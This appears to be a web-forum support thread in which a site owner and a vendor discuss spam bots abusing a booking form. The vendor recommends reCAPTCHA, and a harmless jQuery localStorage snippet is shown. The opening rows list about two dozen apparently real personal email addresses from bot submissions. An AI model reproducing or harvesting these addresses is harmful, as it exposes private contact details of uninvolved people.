ywbnorlvii,tbo@tpsturbopower.com,"+1 213 425 1453",ubwgejgltp,kiwsahitaj
dnxhoubjuo,demetri2910@gmail.com,"+1 213 425 1453",owqpqemnod,ihjpxklpbp
xegkiwzbkn,gsajona@aol.com,"+1 213 425 1453",leovwleryx,hqjrtpucqz
pfxhlxqjeu,Gnanda1987@gmail.com,"+1 213 425 1453",zqrszxcgvw,mxtaversje
eutrkertxv,bigmolilj@gmail.com,"+1 213 425 1453",xfiphdisbh,qovgzoelvj
xfotysprge,wrenndestinee@gmail.com,"+1 213 425 1453",jtfznzyewg,mmdvotowjz
alpciffrwo,angili1234@gmail.com,"+1 213 425 1453",gnaiqmjyur,goshwigqvg
ibyxwnaows,xunherna493@gmail.com,"+1 213 425 1453",azfrtmrlak,dbpbbvfcok
tlgoodmsor,lmcclowry@yahoo.com,"+1 213 425 1453",bwrxfvyocc,jmcwnktthh
uvmueksoqj,lgwrightagain@gmail.com,"+1 213 425 1453",cofxntninl,hohbbsmvle
ywdtsqaqhr,trent1504@gmail.com,"+1 213 425 1453",jytrvovzwj,jqvugmxrbm
gilwtedyni,j.morey1990@gmail.com,"+1 213 425 1453",wrhfcgfree,xiyvsvwixb
vlcitupufz,tbcinnc@gmail.com,"+1 213 425 1453",ioyurmqogm,rnmlpuhjiz
mrrtrkmbqz,dalex0810@aol.com,"+1 213 425 1453",iduhzrpvjy,ardtrrvfcn
mrdrkkmsza,dvo1946@gmail.com,"+1 213 425 1453",rctsyxfrjr,bwdbxntqqr
eluioisxht,ledbettersm@aol.com,"+1 213 425 1453",qzybjwvwao,kwqndqskgj
leafviuhiw,maldonadofelix37@yahoo.com,"+1 213 425 1453",kdqwwondac,imqgoxqpqf
afnqiapvpr,crosstekconstruction@gmail.com,"+1 213 425 1453",kduplsvbsh,grsgwrhjjg
dorsqfbhvx,ayersyasha@gmail.com,"+1 213 425 1453",mxqlwbpwmo,mrsedbdvgs
bwsdwazbjw,onelove304@yahoo.com,"+1 213 425 1453",awvptvvfny,tpxrrankjv
lngvaxqitc,mandersson@gmail.com,"+1 213 425 1453",sesrotrstb,vvwozgieoe
wvwzrgdwph,karelia.perez@hotmail.com,"+1 213 425 1453",jlrzvnstaj,bdwqersaqw
dijityriue,bbjrjb@aol.com,"+1 213 425 1453",ititppjoew,andaotzurq
zurvivalmb,GHMARTIN243@AOL.COM,"+1 213 425 1453",gbojwhowqc,ctcdowgjnj
ybjzdbqawa,cking3745@gmail.com,"+1 213 425 1453",wljmksdkpn,jwrbniycnb
wzwkwfapuf,jalbertella@yahoo.com,"+1 213 425 1453",nheqkaflcl,wtnubypgpz
Hej it is booking 2.
Hi @Kent,
I took a look at the code, and although I’m not 100% sure, I think the bots might be exploiting the script in the form the handles the submit. I’ve had bots do crazy things with forms. Here is the possible portion of the code that I was looking with the web inspector:
$(document).ready(function () {
function init() {
if (localStorage["name"]) {
$('#name').val(localStorage["name"]);
}
if (localStorage["email"]) {
$('#email').val(localStorage["email"]);
}
if (localStorage["phone"]) {
$('#phone').val(localStorage["phone"]);
}
}
init();
});
$('.stored').keyup(function () {
localStorage[$(this).attr('name')] = $(this).val();
});
$('#localStorageTest').submit(function() {
localStorage.clear();
});
So, I am pinging @YuzoolSupport, as Sydney seems to be on top of things, and can probably figure out the issue.
Cheers,
Ricardo
I will forward to Michael to see what he thinks. Also, we have many users of the booking 2 stack but no one has reported the above issue. We also incorporated the latest version of PHP mailer and JSQuery libraries when we released that stack last year. Kind regards,
Yuzool Support Team
Thank you Ricardo & Yuzool
Michael looked at the code and his recommendation is add a reCaptcha or another bot preventive measure to the form. We have not had any issues from our other users, so cannot substantiate the jQuery code as you have claimed. Kind regards,
Yuzool Support Team
Hej
Ok I erased the files from the server and reinstalled a new booking system, since then it has also not happened. I will try to make a recaptcha.
Thank you for your effort
Kind Regards
Kent
By the way, I get a lot of reports of “insecure javascript” reports when testing websites with various tools. I think this is general problem with javascript libraries when using Rapdiweaver. I think it would be proper for developers to update those libraries.
Kind Regards
Kent